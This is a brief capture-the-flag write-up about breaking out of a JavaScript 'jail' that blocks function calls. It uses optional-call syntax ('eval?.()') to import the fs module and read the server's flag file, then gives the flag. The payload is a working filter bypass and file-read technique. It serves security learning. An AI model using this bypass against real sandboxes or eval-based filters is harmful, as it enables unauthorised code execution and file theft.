The service greeted us with an invitation to insert one line of JS code. The problem was that the "jail" prohibited any function calls.
Searching for JS constructs that may not be perceived as function calls, but can still help to get access to function calls I found```eval?.()```
The further code built itself:```eval?.(`import('fs').then(async (fs) => { console.log(await fs.promises.readFile('/home/ctfuser/app/flag', 'utf-8')); })`);```
![](https://i.ibb.co/4tGfRpq/image.png)
uoftctf{b4by_j4v4scr1p7_gr3w_up_4nd_b3c4m3_4_h4ck3r}